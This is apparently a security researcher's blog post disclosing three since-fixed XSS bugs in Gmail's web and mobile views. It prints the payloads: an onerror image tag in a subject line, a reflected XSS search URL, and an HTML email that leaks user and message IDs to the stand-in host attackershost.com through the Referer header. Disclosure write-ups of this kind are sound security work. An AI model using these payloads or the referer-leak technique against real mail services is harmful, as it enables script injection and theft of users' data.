In the last months I found several XSS vulnerabilities in Google's Gmail. All bugs are now fixed in a very short time. Currently Gmail has around 350 Mio. users and it's clear that Google taking a lot of efforts to protect their users.

• Safebrowsing
• Google's Security Tools
• 2-Step-Verification
• Vulnerability Reward Program
• warnings for suspected state-sponsored attacks
• The Browser Security Handbook
• Webmaster Tools warnings for hackable sites
• Google+ with CSP evaluation

Google shared some stats about the VRP last year and told that around 65% of all reported bugs are XSS.

And that statistics are completely true. Here my stats made with around 220 bugs:

So the numbers are nearly the same and I think every other company who develop web application has the same bug distribution and a much higher amount of bugs. Google has made a great job and compared with the amount of new features and new products, the relative frequency of security bugs is quite low.

Today I want to share 3 different XSS vulnerabilties in Google Gmail.

Persistent DOM XSS (innerHTML) in Gmail's mobile view.

A incoming mail containing ><img src=x onerror=prompt(1)> within the subject and forwarded to another user, has lead to XSS.

That's a funny bug, because something went wrong while some engineers was working on a fix. For some hours every fowarded message contain

// The body is already esacped

Oops!

Reflective DOM XSS in Gmail's mobile view

https://mail.google.com/mail/mu/#cv/search/"><img src%3Dx onerror%3Dalert(2)>/foobar

That's all. Just a simple reflective XSS in the search feature for labels.

Persistent XSS in Gmail

There are two ways to display a message directly:

1. https://mail.google.com/mail/u/0/?ui=2&ik=293aded8ef&view=om&th=237da8dbcf05dac2
2. https://mail.google.com/mail/u/0/?ui=2&ik=293aded8ef&view=domraw&th=237da8dbcf05dac2

The GET parameters:

• ik - it's a static ID for that particular user
• view - representing the current view of Gmail
• th - message id

The response of both requests was text/plain. With a special crafted URL it was possible to force a HTTP/1.1 500 Internal Server Error with some content lines of the message.

The Content-Type was then: text/html.

But we still have a problem - an attacker doesn't know the ik and the message id. Without both values it's not possible to generate the special URL.

But it's easy to get both values through referer leaking. We have to send to our victim a HTML e-mail with that content:

<img src="https://attackershost.com/1x1.gif">
<a href="https://attackershost.com/gmailxss">Click here to have fun</a>
<script>alert(/xss/)</script>

• the 1x1.gif leakes the ik and the message id to attackershost.com (images were loaded in the print preview if the sender is a trusted mail source)
• the link to attackershost.com/gmailxss has the same effect, leakes the referer by mouse click
• and a alert(/xss/) _to demonstrate that's possible to run javascript in context of mail.google.com

The Google Security Team took immediately actions and blocked the particular GET parameter on their frontends as intermediate fix with the message:

We're sorry ... but your computer or network may be sending automated queries. To protect our users, we can't process your request right now.

If you want to read more about Google's VRP I recommend you the talk of Nir Goldshlager "Killing a bug bounty program" or you can just read some of my older posts here, here, here and here.

Any questions? Use the comments below the post.

PS: Enable 2-step-verification for your Google account today to make your Gmail more secure.